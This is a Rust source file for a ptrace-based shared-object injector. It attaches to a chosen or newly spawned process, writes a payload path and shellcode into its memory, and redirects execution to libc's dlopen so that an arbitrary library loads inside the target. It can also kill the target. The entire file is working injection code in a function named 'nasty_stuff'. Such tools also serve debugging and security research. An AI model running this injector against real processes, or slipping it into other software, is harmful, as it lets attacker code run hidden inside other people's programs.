use std::{path::PathBuf, process::Command};
use tracing::{metadata::LevelFilter, info, error};
use nix::{sys::{ptrace, wait::waitpid}, unistd::Pid};
use clap::{Parser, Subcommand};
use pox::locators::{procmaps::map_addr_path, exec::offset_in_elf};
use pox::rc::{
injector::RemoteOperation, executors::RemoteShellcode,
senders::RemoteString, syscalls::RemoteExit,
explorers::step_to_syscall,
};
use pox::monitor::listen_logs;
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
struct VectorArgs {
payload: String,
#[clap(subcommand)]
target: TargetProcess,
#[arg(long)]
addr: Option<usize>,
#[arg(long)]
base: Option<usize>,
#[arg(long)]
offset: Option<usize>,
#[arg(long)]
path: Option<PathBuf>,
#[arg(long, default_value_t = false)]
kill: bool,
#[arg(long, default_value_t = false)]
monitor: bool,
}
#[derive(Subcommand, Clone, Debug)]
enum TargetProcess {
Pid {
pid: i32
},
Spawn {
path: String,
#[arg(long, short)]
args: Option<Vec<String>>,
#[arg(long, short, default_value_t = 1000)]
delay: u32,
}
}
fn nasty_stuff(args: &VectorArgs) -> Result<(), Box<dyn std::error::Error>> {
let pid = match &args.target {
TargetProcess::Pid { pid } => Pid::from_raw(*pid),
TargetProcess::Spawn { path, args, delay } => {
let child = Command::new(path)
.args(args.as_ref().unwrap_or(&vec![]))
.spawn()?;
std::thread::sleep(std::time::Duration::from_millis(*delay as u64));
Pid::from_raw(child.id() as i32)
}
};
ptrace::attach(pid)?;
waitpid(pid, None)?;
info!("attached to process #{}", pid);
let syscall = step_to_syscall(pid)?; let original_regs = ptrace::getregs(pid)?;
if args.kill {
RemoteExit::args(69).exit(pid, syscall)?;
info!("killed process #{}", pid);
return Ok(());
}
let payload_path = std::path::PathBuf::from(&args.payload).canonicalize()?;
let payload_path_str = payload_path.to_string_lossy().to_string();
let payload_ptr = RemoteString::new(payload_path_str.clone() + "\0")
.inject(pid, syscall)?;
let dlopen_addr;
if let Some(addr) = args.addr {
dlopen_addr = addr;
} else {
let (mut calc_base, mut calc_fpath) = (0, "".into()); if args.path.is_none() || args.base.is_none() { if let Some((b, p)) = map_addr_path(pid.as_raw(), "libc.so.6")? {
(calc_base, calc_fpath) = (b, p);
}
}
let base = match args.base {
Some(b) => b,
None => calc_base,
};
let fpath = match &args.path {
Some(p) => p,
None => &calc_fpath,
};
let offset = match args.offset {
Some(o) => o, None => offset_in_elf(fpath, "dlopen")?.expect("no dlopen symbol available"),
};
dlopen_addr = base + offset;
}
let shellcode = [ 0x55, 0x48, 0x89, 0xE5, 0xFF, 0x15, 0x08, 0x00, 0x00, 0x00, 0xCC, 0x90, 0x90, 0xCC, ];
RemoteShellcode::new(&shellcode)
.inject(pid, syscall)?;
let mut regs = ptrace::getregs(pid)?;
regs.rip = dlopen_addr as u64;
regs.rdi = payload_ptr;
regs.rsi = 0x1;
ptrace::setregs(pid, regs)?;
ptrace::cont(pid, None)?;
waitpid(pid, None)?;
info!("invoked dlopen('{}', 1) @ 0x{:X}", payload_path_str, dlopen_addr);
ptrace::setregs(pid, original_regs)?;
ptrace::detach(pid, None)?;
info!("released process #{}", pid);
Ok(())
}
fn main() {
tracing_subscriber::fmt()
.with_max_level(LevelFilter::INFO)
.init();
let args = VectorArgs::parse();
let monitor = args.monitor;
if let Err(e) = nasty_stuff(&args) {
error!("error injecting shared object: {}", e);
return;
}
if monitor { listen_logs() } }